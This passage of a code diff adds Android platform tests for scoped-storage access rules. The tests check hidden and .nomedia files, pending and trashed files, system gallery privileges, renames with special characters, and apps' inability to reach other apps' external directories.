+            noMediaFile.delete();
+            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+            assertIsMediaTypeImage(imageFile);
+
+            // Creating the .nomedia file makes the parent directory hidden again
+            assertThat(noMediaFile.createNewFile()).isTrue();
+            MediaStore.scanFile(getContentResolver(), directoryNoMedia);
+            assertNotMediaTypeImage(imageFile);
+
+            // Renaming the .nomedia file to non hidden file makes the parent directory non hidden.
+            assertCanRenameFile(noMediaFile, videoFile);
+            assertIsMediaTypeImage(imageFile);
+        } finally {
+            noMediaFile.delete();
+            imageFile.delete();
+            videoFile.delete();
+            directoryNoMedia.delete();
+        }
+    }
+
+    /**
+     * Test that only file manager and app that created the hidden file can list it.
+     */
+    @Test
+    public void testListHiddenFile() throws Exception {
+        final File dcimDir = getDcimDir();
+        final String hiddenImageFileName = ".hidden" + IMAGE_FILE_NAME;
+        final File hiddenImageFile = new File(dcimDir, hiddenImageFileName);
+        try {
+            assertThat(hiddenImageFile.createNewFile()).isTrue();
+            assertNotMediaTypeImage(hiddenImageFile);
+
+            assertDirectoryContains(dcimDir, hiddenImageFile);
+
+            // TestApp with read permissions can't see the hidden image file created by other app
+            assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+                    .doesNotContain(hiddenImageFileName);
+
+            // But file manager can
+            assertThat(listAs(APP_FM, dcimDir.getAbsolutePath()))
+                    .contains(hiddenImageFileName);
+
+            // Gallery cannot see the hidden image file created by other app
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
+            try {
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+                assertThat(listAs(APP_A_HAS_RES, dcimDir.getAbsolutePath()))
+                        .doesNotContain(hiddenImageFileName);
+            } finally {
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            }
+        } finally {
+            hiddenImageFile.delete();
+        }
+    }
+
+    @Test
+    public void testOpenPendingAndTrashed() throws Exception {
+        final File pendingImageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File trashedVideoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+        final File pendingPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri pendingImgaeFileUri = null;
+        Uri trashedVideoFileUri = null;
+        Uri pendingPdfFileUri = null;
+        Uri trashedPdfFileUri = null;
+        try {
+            pendingImgaeFileUri = createPendingFile(pendingImageFile);
+            assertOpenPendingOrTrashed(pendingImgaeFileUri, /*isImageOrVideo*/ true);
+
+            pendingPdfFileUri = createPendingFile(pendingPdfFile);
+            assertOpenPendingOrTrashed(pendingPdfFileUri, /*isImageOrVideo*/ false);
+
+            trashedVideoFileUri = createTrashedFile(trashedVideoFile);
+            assertOpenPendingOrTrashed(trashedVideoFileUri, /*isImageOrVideo*/ true);
+
+            trashedPdfFileUri = createTrashedFile(trashedPdfFile);
+            assertOpenPendingOrTrashed(trashedPdfFileUri, /*isImageOrVideo*/ false);
+
+        } finally {
+            deleteFiles(pendingImageFile, pendingImageFile, trashedVideoFile,
+                    trashedPdfFile);
+            deleteWithMediaProviderNoThrow(pendingImgaeFileUri, trashedVideoFileUri,
+                    pendingPdfFileUri, trashedPdfFileUri);
+        }
+    }
+
+    @Test
+    public void testListPendingAndTrashed() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        Uri imageFileUri = null;
+        Uri pdfFileUri = null;
+        try {
+            imageFileUri = createPendingFile(imageFile);
+            // Check that only owner package, file manager and system gallery can list pending image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+            trashFile(imageFileUri);
+            // Check that only owner package, file manager and system gallery can list trashed image
+            // file.
+            assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
+
+            pdfFileUri = createPendingFile(pdfFile);
+            // Check that only owner package, file manager can list pending non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+
+            trashFile(pdfFileUri);
+            // Check that only owner package, file manager can list trashed non media file.
+            assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
+        } finally {
+            deleteWithMediaProviderNoThrow(imageFileUri, pdfFileUri);
+            deleteFiles(imageFile, pdfFile);
+        }
+    }
+
+    @Test
+    public void testDeletePendingAndTrashed() throws Exception {
+        final File pendingVideoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        final File trashedImageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        final File pendingPdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        final File trashedPdfFile = new File(getDocumentsDir(), NONMEDIA_FILE_NAME);
+        // Actual path of the file gets rewritten for pending and trashed files.
+        String pendingVideoFilePath = null;
+        String trashedImageFilePath = null;
+        String pendingPdfFilePath = null;
+        String trashedPdfFilePath = null;
+        try {
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // App can delete its own pending and trashed file.
+            assertCanDeletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // App can't delete other app's pending and trashed file.
+            assertCantDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
+
+            // File Manager can delete any pending and trashed file
+            assertCanDeletePathsAs(APP_FM, pendingVideoFilePath, trashedImageFilePath,
+                    pendingPdfFilePath, trashedPdfFilePath);
+
+            pendingVideoFilePath = getFilePathFromUri(createPendingFile(pendingVideoFile));
+            trashedImageFilePath = getFilePathFromUri(createTrashedFile(trashedImageFile));
+            pendingPdfFilePath = getFilePathFromUri(createPendingFile(pendingPdfFile));
+            trashedPdfFilePath = getFilePathFromUri(createTrashedFile(trashedPdfFile));
+
+            // System Gallery can delete any pending and trashed image or video file.
+            final int resAppUid =
+                    getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(),
+                            0);
+            try {
+                allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+                assertTrue(isMediaTypeImageOrVideo(new File(pendingVideoFilePath)));
+                assertTrue(isMediaTypeImageOrVideo(new File(trashedImageFilePath)));
+                assertCanDeletePathsAs(APP_A_HAS_RES, pendingVideoFilePath, trashedImageFilePath);
+
+                // System Gallery can't delete other app's pending and trashed pdf file.
+                assertFalse(isMediaTypeImageOrVideo(new File(pendingPdfFilePath)));
+                assertFalse(isMediaTypeImageOrVideo(new File(trashedPdfFilePath)));
+                assertCantDeletePathsAs(APP_A_HAS_RES, pendingPdfFilePath, trashedPdfFilePath);
+            } finally {
+                denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            }
+        } finally {
+            deletePaths(pendingVideoFilePath, trashedImageFilePath, pendingPdfFilePath,
+                    trashedPdfFilePath);
+            deleteFiles(pendingVideoFile, trashedImageFile, pendingPdfFile, trashedPdfFile);
+        }
+    }
+
+    @Test
+    public void testQueryOtherAppsFiles() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            // Since the test doesn't have READ_EXTERNAL_STORAGE nor any other special permissions,
+            // it can't query for another app's contents.
+            assertCantQueryFile(otherAppImg);
+            assertCantQueryFile(otherAppMusic);
+            assertCantQueryFile(otherAppPdf);
+            assertCantQueryFile(otherHiddenFile);
+        } finally {
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+        }
+    }
+
+    @Test
+    public void testSystemGalleryQueryOtherAppsFiles() throws Exception {
+        final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+        final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+        final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+        final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+        try {
+            // Apps can't query other app's pending file, hence create file and publish it.
+            assertCreatePublishedFilesAs(
+                    APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+            // System gallery apps have access to video and image files
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            assertCanQueryAndOpenFile(otherAppImg, "rw");
+            // System gallery doesn't have access to hidden image files of other app
+            assertCantQueryFile(otherHiddenFile);
+            // But no access to PDFs or music files
+            assertCantQueryFile(otherAppMusic);
+            assertCantQueryFile(otherAppPdf);
+        } finally {
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+            deleteFilesAs(APP_B_NO_PERMS, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+        }
+    }
+
+    /**
+     * Test that System Gallery app can rename any directory under the default directories
+     * designated for images and videos, even if they contain other apps' contents that
+     * System Gallery doesn't have read access to.
+     */
+    @Test
+    public void testSystemGalleryCanRenameImageAndVideoDirs() throws Exception {
+        final File dirInDcim = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        final File dirInPictures = new File(getPicturesDir(), TEST_DIRECTORY_NAME);
+        final File dirInPodcasts = new File(getPodcastsDir(), TEST_DIRECTORY_NAME);
+        final File otherAppImageFile1 = new File(dirInDcim, "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile1 = new File(dirInDcim, "other_" + VIDEO_FILE_NAME);
+        final File otherAppPdfFile1 = new File(dirInDcim, "other_" + NONMEDIA_FILE_NAME);
+        final File otherAppImageFile2 = new File(dirInPictures, "other_" + IMAGE_FILE_NAME);
+        final File otherAppVideoFile2 = new File(dirInPictures, "other_" + VIDEO_FILE_NAME);
+        final File otherAppPdfFile2 = new File(dirInPictures, "other_" + NONMEDIA_FILE_NAME);
+        try {
+            assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
+
+            executeShellCommand("touch " + otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+
+            allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+            assertCreateFilesAs(APP_A_HAS_RES, otherAppImageFile1, otherAppVideoFile1);
+
+            // System gallery privileges don't go beyond DCIM, Movies and Pictures boundaries.
+            assertCantRenameDirectory(dirInDcim, dirInPodcasts, /*oldFilesList*/ null);
+
+            // Rename should succeed, but System Gallery still can't access that PDF file!
+            assertCanRenameDirectory(dirInDcim, dirInPictures,
+                    new File[] {otherAppImageFile1, otherAppVideoFile1},
+                    new File[] {otherAppImageFile2, otherAppVideoFile2});
+            assertThat(getFileRowIdFromDatabase(otherAppPdfFile1)).isEqualTo(-1);
+            assertThat(getFileRowIdFromDatabase(otherAppPdfFile2)).isEqualTo(-1);
+        } finally {
+            executeShellCommand("rm " + otherAppPdfFile1);
+            executeShellCommand("rm " + otherAppPdfFile2);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+            MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
+            otherAppImageFile1.delete();
+            otherAppImageFile2.delete();
+            otherAppVideoFile1.delete();
+            otherAppVideoFile2.delete();
+            otherAppPdfFile1.delete();
+            otherAppPdfFile2.delete();
+            dirInDcim.delete();
+            dirInPictures.delete();
+            denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Test that row ID corresponding to deleted path is restored on subsequent create.
+     */
+    @Test
+    public void testCreateCanRestoreDeletedRowId() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final ContentResolver cr = getContentResolver();
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+            final long oldRowId = getFileRowIdFromDatabase(imageFile);
+            assertThat(oldRowId).isNotEqualTo(-1);
+            final Uri uriOfOldFile = MediaStore.scanFile(cr, imageFile);
+            assertThat(uriOfOldFile).isNotNull();
+
+            assertThat(imageFile.delete()).isTrue();
+            // We should restore old row Id corresponding to deleted imageFile.
+            assertThat(imageFile.createNewFile()).isTrue();
+            assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(oldRowId);
+            assertThat(cr.openFileDescriptor(uriOfOldFile, "rw")).isNotNull();
+
+            assertThat(imageFile.delete()).isTrue();
+            assertThat(createFileAs(APP_B_NO_PERMS, imageFile.getAbsolutePath())).isTrue();
+
+            final Uri uriOfNewFile = MediaStore.scanFile(getContentResolver(), imageFile);
+            assertThat(uriOfNewFile).isNotNull();
+            // We shouldn't restore deleted row Id if delete & create are called from different apps
+            assertThat(Integer.getInteger(uriOfNewFile.getLastPathSegment()))
+                    .isNotEqualTo(oldRowId);
+        } finally {
+            imageFile.delete();
+            deleteFileAsNoThrow(APP_B_NO_PERMS, imageFile.getAbsolutePath());
+        }
+    }
+
+    /**
+     * Test that row ID corresponding to deleted path is restored on subsequent rename.
+     */
+    @Test
+    public void testRenameCanRestoreDeletedRowId() throws Exception {
+        final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File temporaryFile = new File(getDownloadDir(), IMAGE_FILE_NAME + "_.tmp");
+        final ContentResolver cr = getContentResolver();
+
+        try {
+            assertThat(imageFile.createNewFile()).isTrue();
+            final Uri oldUri = MediaStore.scanFile(cr, imageFile);
+            assertThat(oldUri).isNotNull();
+
+            Files.copy(imageFile, temporaryFile);
+            assertThat(imageFile.delete()).isTrue();
+            assertCanRenameFile(temporaryFile, imageFile);
+
+            final Uri newUri = MediaStore.scanFile(cr, imageFile);
+            assertThat(newUri).isNotNull();
+            assertThat(newUri.getLastPathSegment()).isEqualTo(oldUri.getLastPathSegment());
+            // oldUri of imageFile is still accessible after delete and rename.
+            assertThat(cr.openFileDescriptor(oldUri, "rw")).isNotNull();
+        } finally {
+            imageFile.delete();
+            temporaryFile.delete();
+        }
+    }
+
+    @Test
+    public void testCantCreateOrRenameFileWithInvalidName() throws Exception {
+        File invalidFile = new File(getDownloadDir(), "<>");
+        File validFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+        try {
+            assertThrows(IOException.class, "Operation not permitted",
+                    () -> {
+                        invalidFile.createNewFile();
+                    });
+
+            assertThat(validFile.createNewFile()).isTrue();
+            // We can't rename a file to a file name with invalid FAT characters.
+            assertCantRenameFile(validFile, invalidFile);
+        } finally {
+            invalidFile.delete();
+            validFile.delete();
+        }
+    }
+
+    @Test
+    public void testRenameWithSpecialChars() throws Exception {
+        final String specialCharsSuffix = "'`~!@#$%^& ()_+-={}[];'.)";
+
+        final File fileSpecialChars =
+                new File(getDownloadDir(), NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+        final File dirSpecialChars =
+                new File(getDownloadDir(), TEST_DIRECTORY_NAME + specialCharsSuffix);
+        final File file1 = new File(dirSpecialChars, NONMEDIA_FILE_NAME);
+        final File fileSpecialChars1 =
+                new File(dirSpecialChars, NONMEDIA_FILE_NAME + specialCharsSuffix);
+
+        final File renamedDir = new File(getDocumentsDir(), TEST_DIRECTORY_NAME);
+        final File file2 = new File(renamedDir, NONMEDIA_FILE_NAME);
+        final File fileSpecialChars2 =
+                new File(renamedDir, NONMEDIA_FILE_NAME + specialCharsSuffix);
+        try {
+            assertTrue(fileSpecialChars.createNewFile());
+            if (!dirSpecialChars.exists()) {
+                assertTrue(dirSpecialChars.mkdir());
+            }
+            assertTrue(file1.createNewFile());
+
+            // We can rename file name with special characters
+            assertCanRenameFile(fileSpecialChars, fileSpecialChars1);
+
+            // We can rename directory name with special characters
+            assertCanRenameDirectory(dirSpecialChars, renamedDir,
+                    new File[] {file1, fileSpecialChars1}, new File[] {file2, fileSpecialChars2});
+        } finally {
+            file1.delete();
+            file2.delete();
+            fileSpecialChars.delete();
+            fileSpecialChars1.delete();
+            fileSpecialChars2.delete();
+            dirSpecialChars.delete();
+            renamedDir.delete();
+        }
+    }
+
+    /**
+     * Test that IS_PENDING is set for files created via filepath
+     */
+    @Test
+    public void testPendingFromFuse() throws Exception {
+        final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+        final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+        try {
+            assertTrue(pendingFile.createNewFile());
+            // Newly created file should have IS_PENDING set
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+            try (Cursor c = queryFileExcludingPending(pendingFile,
+                    MediaStore.MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(1);
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(1);
+            }
+
+            assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
+
+            // IS_PENDING should be unset after the scan
+            try (Cursor c = queryFile(pendingFile, MediaStore.MediaColumns.IS_PENDING)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getInt(0)).isEqualTo(0);
+            }
+
+            assertCreateFilesAs(APP_A_HAS_RES, otherPendingFile);
+            // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+            try (Cursor c = queryFileExcludingPending(otherPendingFile,
+                    MediaStore.MediaColumns.IS_PENDING)) {
+                assertThat(c.getCount()).isEqualTo(0);
+            }
+        } finally {
+            pendingFile.delete();
+            deleteFileAsNoThrow(APP_A_HAS_RES, otherPendingFile.getAbsolutePath());
+        }
+    }
+
+    /**
+     * Test that we don't allow renaming to top level directory
+     */
+    @Test
+    public void testCantRenameToTopLevelDirectory() throws Exception {
+        final File topLevelDir1 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_1");
+        final File topLevelDir2 = new File(getExternalStorageDir(), TEST_DIRECTORY_NAME + "_2");
+        final File nonTopLevelDir = new File(getDcimDir(), TEST_DIRECTORY_NAME);
+        try {
+            createDirectoryAsLegacyApp(topLevelDir1);
+            assertTrue(topLevelDir1.exists());
+
+            // We can't rename a top level directory to a top level directory
+            assertCantRenameDirectory(topLevelDir1, topLevelDir2, null);
+
+            // However, we can rename a top level directory to non-top level directory.
+            assertCanRenameDirectory(topLevelDir1, nonTopLevelDir, null, null);
+
+            // We can't rename a non-top level directory to a top level directory.
+            assertCantRenameDirectory(nonTopLevelDir, topLevelDir2, null);
+        } finally {
+            deleteAsLegacyApp(topLevelDir1);
+            deleteAsLegacyApp(topLevelDir2);
+            nonTopLevelDir.delete();
+        }
+    }
+
+    @Test
+    public void testCanCreateDefaultDirectory() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        try {
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.mkdir()).isTrue();
+        } finally {
+            createDirectoryAsLegacyApp(podcastsDir);
+        }
+    }
+
+    /**
+     * b/168830497: Test that app can write to file in DCIM/Camera even with .nomedia presence
+     */
+    @Test
+    public void testCanWriteToDCIMCameraWithNomedia() throws Exception {
+        final File cameraDir = new File(getDcimDir(), "Camera");
+        final File nomediaFile = new File(cameraDir, ".nomedia");
+        Uri targetUri = null;
+
+        try {
+            // Recreate required file and directory
+            if (cameraDir.exists()) {
+                // This is a work around to address a known inode cache inconsistency issue
+                // that occurs when test runs for the second time.
+                deleteAsLegacyApp(cameraDir);
+            }
+
+            createDirectoryAsLegacyApp(cameraDir);
+            assertTrue(cameraDir.exists());
+
+            createFileAsLegacyApp(nomediaFile);
+            assertTrue(nomediaFile.exists());
+
+            ContentValues values = new ContentValues();
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH, "DCIM/Camera");
+            targetUri = getContentResolver().insert(getImageContentUri(), values, Bundle.EMPTY);
+            assertNotNull(targetUri);
+
+            try (ParcelFileDescriptor pfd =
+                         getContentResolver().openFileDescriptor(targetUri, "w")) {
+                assertThat(pfd).isNotNull();
+                Os.write(pfd.getFileDescriptor(), ByteBuffer.wrap(BYTES_DATA1));
+            }
+
+            assertFileContent(new File(getFilePathFromUri(targetUri)), BYTES_DATA1);
+        } finally {
+            deleteWithMediaProviderNoThrow(targetUri);
+            deleteAsLegacyApp(nomediaFile);
+            deleteAsLegacyApp(cameraDir);
+        }
+    }
+
+    /**
+     * Test that readdir lists unsupported file types in default directories.
+     */
+    @Test
+    public void testListUnsupportedFileType() throws Exception {
+        final File pdfFile = new File(getDcimDir(), NONMEDIA_FILE_NAME);
+        final File videoFile = new File(getMusicDir(), VIDEO_FILE_NAME);
+        try {
+            // TEST_APP_A with storage permission should not see pdf file in DCIM
+            createFileAsLegacyApp(pdfFile);
+            assertThat(pdfFile.exists()).isTrue();
+            assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
+
+            assertThat(listAs(APP_A_HAS_RES, getDcimDir().getPath()))
+                    .doesNotContain(NONMEDIA_FILE_NAME);
+
+            createFileAsLegacyApp(videoFile);
+            // We don't insert files to db for files created by shell.
+            assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
+            // TEST_APP_A with storage permission should see video file in Music directory.
+            assertThat(listAs(APP_A_HAS_RES, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
+        } finally {
+            deleteAsLegacyApp(pdfFile);
+            deleteAsLegacyApp(videoFile);
+            MediaStore.scanFile(getContentResolver(), pdfFile);
+            MediaStore.scanFile(getContentResolver(), videoFile);
+        }
+    }
+
+    /**
+     * Test that normal apps cannot access Android/data and Android/obb dirs of other apps
+     */
+    @Test
+    public void testCantAccessOtherAppsExternalDirs() throws Exception {
+        File[] obbDirs = getContext().getObbDirs();
+        File[] dataDirs = getContext().getExternalFilesDirs(null);
+        for (File obbDir : obbDirs) {
+            final File otherAppExternalObbDir = new File(obbDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalObbDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+        for (File dataDir : dataDirs) {
+            final File otherAppExternalDataDir = new File(dataDir.getPath().replace(
+                    THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
+            final File file = new File(otherAppExternalDataDir, NONMEDIA_FILE_NAME);
+            try {
+                assertThat(createFileAs(APP_B_NO_PERMS, file.getPath())).isTrue();
+                assertCannotReadOrWrite(file);
+            } finally {
+                deleteFileAsNoThrow(APP_B_NO_PERMS, file.getAbsolutePath());
+            }
+        }
+    }
+
+    /**
+     * Test that apps can't set attributes on another app's files.
+     */
+    @Test
+    public void testCantSetAttrOtherAppsFile() throws Exception {
+        // This path's permission is checked in MediaProvider (directory/external media dir)
+        final File externalMediaPath = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+        try {
+            // Create the files
+            if (!externalMediaPath.exists()) {
+                assertThat(externalMediaPath.createNewFile()).isTrue();
+            }
+
+            // APP A should not be able to setattr to other app's files.
+            assertWithMessage(
+                    "setattr on directory/external media path [%s]", externalMediaPath.getPath())
+                    .that(setAttrAs(APP_A_HAS_RES, externalMediaPath.getPath()))
+                    .isFalse();
+        } finally {
+            externalMediaPath.delete();
+        }
+    }
+
+    /**
+     * b/171768780: Test that scan doesn't skip scanning renamed hidden file.
+     */
+    @Test
+    public void testScanUpdatesMetadataForRenamedHiddenFile() throws Exception {
+        final File hiddenFile = new File(getPicturesDir(), ".hidden_" + IMAGE_FILE_NAME);
+        final File jpgFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+        try {
+            // Copy the image content to hidden file
+            try (InputStream in =
+                         getContext().getResources().openRawResource(R.raw.img_with_metadata);
+                 FileOutputStream out = new FileOutputStream(hiddenFile)) {
+                FileUtils.copy(in, out);
+                out.getFD().sync();
+            }
+            Uri scanUri = MediaStore.scanFile(getContentResolver(), hiddenFile);
+            assertNotNull(scanUri);
+
+            // Rename hidden file to non-hidden
+            assertCanRenameFile(hiddenFile, jpgFile);
+
+            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertTrue(c.moveToFirst());
+                // The file is not scanned yet, hence the metadata is not updated yet.
+                assertThat(c.getString(0)).isNull();
+            }
+
+            // Scan the file to update the metadata for renamed hidden file.
+            scanUri = MediaStore.scanFile(getContentResolver(), jpgFile);
+            assertNotNull(scanUri);
+
+            // Scan should be able to update metadata even if File.lastModifiedTime hasn't changed.
+            try (Cursor c = queryFile(jpgFile, MediaStore.MediaColumns.DATE_TAKEN)) {
+                assertTrue(c.moveToFirst());
+                assertThat(c.getString(0)).isNotNull();
+            }
+        } finally {
+            hiddenFile.delete();
+            jpgFile.delete();
+        }
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+            verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+            verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Checks restrictions for opening pending and trashed files by different apps. Assumes that
+     * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
+     * method doesn't uninstall given {@code testApp} at the end.
+     */
+    private void assertOpenPendingOrTrashed(Uri uri, boolean isImageOrVideo)
+            throws Exception {
+        final File pendingOrTrashedFile = new File(getFilePathFromUri(uri));
+
+        // App can open its pending or trashed file for read or write
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpen(pendingOrTrashedFile, /*forWrite*/ true));
+
+        // App with READ_EXTERNAL_STORAGE can't open other app's pending or trashed file for read or
+        // write
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+        assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ false));
+        assertTrue(canOpenFileAs(APP_FM, pendingOrTrashedFile, /*forWrite*/ true));
+
+        final int resAppUid =
+                getContext().getPackageManager().getPackageUid(APP_A_HAS_RES.getPackageName(), 0);
+        try {
+            allowAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+            if (isImageOrVideo) {
+                // System Gallery can open any pending or trashed image/video file for read or write
+                assertTrue(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertTrue(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+            } else {
+                // System Gallery can't open other app's pending or trashed non-media file for read
+                // or write
+                assertFalse(isMediaTypeImageOrVideo(pendingOrTrashedFile));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ false));
+                assertFalse(canOpenFileAs(APP_A_HAS_RES, pendingOrTrashedFile, /*forWrite*/ true));
+            }
+        } finally {
+            denyAppOpsToUid(resAppUid, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    /**
+     * Checks restrictions for listing pending and trashed files by different apps.
+     */
+    private void assertListPendingOrTrashed(Uri uri, File file, boolean isImageOrVideo)
+            throws Exception {
+        final String parentDirPath = file.getParent();
+        assertTrue(new File(parentDirPath).isDirectory());
+
+        final List<String> listedFileNames = Arrays.asList(new File(parentDirPath).list());
